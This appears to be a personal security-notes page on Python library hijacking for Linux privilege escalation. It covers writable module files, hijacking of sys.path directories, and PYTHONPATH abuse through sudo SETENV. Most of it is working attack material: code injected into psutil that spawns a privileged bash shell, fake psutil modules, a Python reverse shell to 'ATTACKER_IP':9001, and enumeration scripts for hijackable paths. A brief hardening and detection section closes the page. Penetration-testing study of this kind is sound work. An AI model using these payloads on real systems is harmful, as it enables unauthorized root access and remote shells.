Python library hijacking showing PYTHONPATH manipulation and module import exploitation

Python Library Hijacking

Comprehensive guide to Python library hijacking for privilege escalation, covering module permissions abuse, PYTHONPATH manipulation, and library path exploitation.

Jan 6, 2026
Updated Dec 11, 2025
2 min read

Introduction

Python library hijacking is a privilege escalation technique that exploits how Python imports modules. When a Python script runs with elevated privileges, an attacker may be able to inject malicious code by manipulating the module import process.

There are three primary attack vectors:

  1. Writable module files - Direct modification of imported libraries
  2. Library path hijacking - Creating malicious modules in higher-priority paths
  3. PYTHONPATH manipulation - Using environment variables to redirect imports

High-Value Target

Python library hijacking is particularly effective because:

  • Python is ubiquitous on Linux systems
  • Many administrative scripts use Python
  • SUID Python scripts or sudo configurations are common
  • Module permissions are often overlooked during security hardening

Python Module Import Order

Python searches for modules in a specific order:

python3 -c 'import sys; print("\n".join(sys.path))'

/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload
/usr/local/lib/python3.8/dist-packages
/usr/lib/python3/dist-packages

Key insight: Paths earlier in the list take priority. If you can write to a higher-priority path, your malicious module will be imported instead of the legitimate one.

Attack Vector 1: Writable Module Permissions

Identifying the Vulnerability

Look for SUID/SGID Python scripts:

# Find SUID Python scripts
find / -perm -4000 -type f -name "*.py" 2>/dev/null

# Check script contents
cat /opt/scripts/mem_status.py

Example vulnerable script:

#!/usr/bin/env python3
import psutil

available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
print(f"Available memory: {round(available_memory, 2)}%")

Finding Writable Modules

# Locate the imported module
grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*

# Check permissions
ls -la /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
-rw-r--rw- 1 root staff 87339 Dec 13 20:07 __init__.py

If the module file is world-writable, we can inject code.

Exploitation

Edit the module to inject malicious code:

# In the imported function (e.g., virtual_memory())
def virtual_memory():
    # Injected code
    import os
    os.system('/bin/bash -p')  # Spawn privileged shell

    # Original function continues...
    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    _TOTAL_PHYMEM = ret.total
    return ret

Execute the SUID script:

./mem_status.py
# whoami
root

Attack Vector 2: Library Path Hijacking

Identifying the Vulnerability

Check for writable directories in Python's path:

python3 -c 'import sys; print("\n".join(sys.path))'

# Check permissions on each path
ls -la /usr/lib/python3.8
drwxr-xrwx 30 root root 20480 Dec 14 16:26 .

If a directory higher in the path is writable, we can create our own module.

Finding Module Location

# Find where the target module is installed
pip3 show psutil | grep Location
Location: /usr/local/lib/python3.8/dist-packages

If /usr/lib/python3.8 is writable and comes before /usr/local/lib/python3.8/dist-packages, we can hijack the import.

Exploitation

Create a malicious module with the same name:

#!/usr/bin/env python3
# /usr/lib/python3.8/psutil.py

import os

def virtual_memory():
    os.system('id')
    # Don't return anything - script will error after our code runs

Execute the privileged script:

sudo /usr/bin/python3 mem_status.py
uid=0(root) gid=0(root) groups=0(root)

For Reverse Shell

#!/usr/bin/env python3
import os
import socket
import subprocess

def virtual_memory():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("ATTACKER_IP", 9001))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    subprocess.call(["/bin/bash", "-i"])

Attack Vector 3: PYTHONPATH Environment Variable

Identifying the Vulnerability

Check sudo permissions for SETENV:

sudo -l

User attacker may run the following commands:
    (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3

The SETENV flag allows setting environment variables when running the command.

Exploitation

Create a malicious module in a controlled directory:

#!/usr/bin/env python3
# /tmp/psutil.py

import os

def virtual_memory():
    os.system('id')

Execute with modified PYTHONPATH:

sudo PYTHONPATH=/tmp /usr/bin/python3 /opt/scripts/mem_status.py
uid=0(root) gid=0(root) groups=0(root)

Enumeration Scripts

Find Hijackable Modules

#!/bin/bash
# find_hijackable.sh

echo "[*] Python paths:"
python3 -c 'import sys; print("\n".join(sys.path))'

echo -e "\n[*] Checking path permissions:"
for path in $(python3 -c 'import sys; print("\n".join(sys.path))'); do
    if [ -d "$path" ]; then
        perms=$(ls -ld "$path" 2>/dev/null | awk '{print $1}')
        echo "$path: $perms"
        if [ -w "$path" ]; then
            echo "  [!] WRITABLE!"
        fi
    fi
done

echo -e "\n[*] SUID Python scripts:"
find / -perm -4000 -type f -name "*.py" 2>/dev/null

echo -e "\n[*] Sudo Python permissions:"
sudo -l 2>/dev/null | grep -i python

Find Writable Modules

#!/bin/bash
# find_writable_modules.sh

for path in $(python3 -c 'import sys; print("\n".join(sys.path))'); do
    if [ -d "$path" ]; then
        find "$path" -type f -name "*.py" -writable 2>/dev/null
    fi
done

Defense and Detection

Hardening

# Fix module permissions
find /usr/lib/python3* -type f -name "*.py" -exec chmod 644 {} \;
find /usr/lib/python3* -type d -exec chmod 755 {} \;

# Verify no world-writable paths
python3 -c 'import sys, os; [print(p) for p in sys.path if os.access(p, os.W_OK)]'

Detection

  • Monitor for new .py files in system Python paths
  • Audit SUID Python scripts
  • Review sudo configurations for SETENV
  • Check for unusual PYTHONPATH values in process environment

References

MITRE ATT&CK Techniques

Python Documentation

Security Resources

Last updated on

Python Library Hijacking | Drake Axelrod